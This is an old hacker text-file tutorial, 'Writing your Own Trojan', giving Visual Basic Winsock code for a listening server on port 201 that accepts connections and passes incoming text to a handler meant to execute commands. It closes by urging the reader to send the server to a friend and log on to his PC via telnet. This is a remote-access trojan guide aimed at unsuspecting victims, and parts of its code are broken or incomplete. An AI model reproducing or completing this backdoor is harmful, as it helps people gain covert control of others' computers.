зезезезезезезезезезезезезезезезе Writing your Own Trojan Kraek Kopf Kraek@tfz.net http://members.tripod.com/~hack_texts/ зезезезезезезезезезезезезезезезе W R I T I N G _ Y O U R _ O W N _ T R O J A N Things you need for this project: VB compiler Wssock.bas Writing a Server: To write a server you need to do a few basic things. You need your declarations: Option Explicit Dim formHeightDiff As Integer Dim formWidthDiff As Integer Dim Socket2 as Integer Dim Sock as Integer Dim SocketBuffer As sockaddr Now for when the form loads you need to find the persons IP address: Dim StartupData As WSADataType Dim rc Dim retval rc = WSAStartup(&H101, StartupData) Host.Text = AddrToIP(GetLocalHostName) If Me.WindowState <> 1 Then End If Dofinger Your dofinger sub should look something like this: Private Sub DoFinger() Dim rc As Integer Dim StartupData As WSADataType Dim IPAddr As Long Dim MsgBuffer As String * 2048 Dim Regel As String Dim RegelUit As String Dim Bytes As Integer Dim Character As String Dim FromAddr As String Dim FromName As String Dim ToAddr As String Dim ToName As String Dim MustStop As Boolean Dim SelectOps As Long Static bfirst As Boolean rc = WSAStartup(&H101, StartupData) If rc = SOCKET_ERROR Then Exit Sub IPAddr = GetHostByNameAlias(Host) If IPAddr = -1 Then HostResponse.Text = "Unknown server: " + Host Exit Sub End If Sock = Socket(PF_INET, SOCK_STREAM, 0) If Sock < 0 Then HostResponse.Text = "Error Cannot socket() ..." Exit Sub End If SocketBuffer.sin_family = AF_INET SocketBuffer.sin_port = htons(201) SocketBuffer.sin_addr = htonl(INADDR_ANY) rc = bind(Sock, SocketBuffer, Len(SocketBuffer)) If rc Then HostResponse.Text = "Error Cannot bind() ..." + _ Chr$(13) + Chr$(10) + _ GetWSAErrorString(WSAGetLastError()) closesocket Sock rc = WSACleanup() Exit Sub End If rc = listen(Sock, 1) If rc Then HostResponse.Text = "Error Can not Listen" + _ Chr$(13) + Chr$(10) + _ GetWSAErrorString(WSAGetLastError()) closesocket Sock rc = WSACleanup() Exit Sub End If SelectOps = FD_READ Or FD_WRITE Or FD_CLOSE Or FD_ACCEPT If WSAAsyncSelect(Sock, Me.hWnd, ByVal 1025, ByVal SelectOps) Then If Sock > 0 Then rc = closesocket(Sock) End If MsgBox "Asynchronous error occurred" Exit Sub End If Timer1.Interval = 50 Exit Sub If bfirst Then Do DoEvents Socket2 = accept(Sock, SocketBuffer, Len(SocketBuffer)) Loop Until Socket2 > 0 If Socket2 < 1 Then HostResponse.Text = "Cannot accept() ..." + _ Chr$(13) + Chr$(10) + _ GetWSAErrorString(WSAGetLastError()) closesocket Sock rc = WSACleanup() Exit Sub End If bfirst = False End If Regel = "Connected To Net_Crash Server at: " & Time() & Chr(13) & Chr(10) rc = send(Socket2, ByVal Regel, Len(Regel), 0) HostResponse.Text = HostResponse.Text + Regel Regel = "Connected..." rc = send(Socket2, ByVal Regel, Len(Regel), 0) HostResponse.Text = HostResponse.Text + Regel End Sub The dofinger sub opens up a port and starts to listen for incoming commands. SocketBuffer.sin_port = htons(201) 201 is the port that opened you may want to change that to something else. If you don't tell the program to close the sockets when you shut down the program. You'll get a error because you can't open a port that is all ready open. Now you want a timer running that's taking the incoming commands and sending them to A text box or a sub that'll execute the commands. Private Sub Timer1_Timer() Dim rc As Integer Dim StartupData As WSADataType Dim IPAddr As Long Dim MsgBuffer As String * 2048 Dim Regel As String Dim RegelUit As String Dim Bytes As Integer Dim Character As String Dim FromAddr As String Dim FromName As String Dim ToAddr As String Dim ToName As String Dim MustStop As Boolean Socket2 = accept(Sock, SocketBuffer, Len(SocketBuffer)) DoEvents If Socket2 > 0 Then Timer1.Interval = 65000 Timer2.Interval = 500 If Socket2 < 1 Then HostResponse.Text = "Error Cannot accept() ..." + _ Chr$(13) + Chr$(10) + _ GetWSAErrorString(WSAGetLastError()) closesocket Sock rc = WSACleanup() Exit Sub End If Regel = "Connected..." & Time() & Chr(13) & Chr(10) rc = send(Socket2, ByVal Regel, Len(Regel), 0) HostResponse.Text = HostResponse.Text + Regel Regel = "Connected... " rc = send(Socket2, ByVal Regel, Len(Regel), 0) HostResponse.Text = HostResponse + Regel End If End Sub This timer sub takes all incoming commands and place the commands in a text box called HostResponse.Text after I send the commands to the box I use the text.change sub to execute the commands. Now we need to send some information back to the client. Private Sub cmdSend_Click() Dim rc As Integer Dim IPAddr As Long Dim MsgBuffer As String * 2048 Dim Regel As String Dim Bytes As Integer Dim Character As String ' Dim FromAddr As String Dim FromName As String Dim ToAddr As String Dim ToName As String Dim SelectOps As Long Regel = Text1 rc = send(Socket2, ByVal Regel, Len(Regel), 0) If rc = SOCKET_ERROR Then HostResponse.Text = "Error Cannot Send Request." + _ Chr$(13) + Chr$(10) + _ Str$(WSAGetLastError()) + _ GetWSAErrorString(WSAGetLastError()) closesocket Socket2 rc = WSACleanup() Exit Sub End If End Sub In this sub Text1 is the information you want to send back to the client. And all that is left is to close the sockets and exit the the program. Private Sub Form_Unload(Cancel As Integer) EndWinsock closesocket Sock closesocket Socket2 End Sub Wait I forgot if you want to make the program to work with telnet you need to make it echo every chr() back to the client a sub like this well work just fine. Text2 change sub() Text2=text1 cmdSend_Click End sub And that is it. All you need now is to write a few good commands send a friend the server and then logon to his pc using telnet. How hard can that be. зезезезезезезезезезезезезезезезе Writing your Own Trojan Kraek Kopf Kraek@tfz.net http://members.tripod.com/~hack_texts/ зезезезезезезезезезезезезезезезе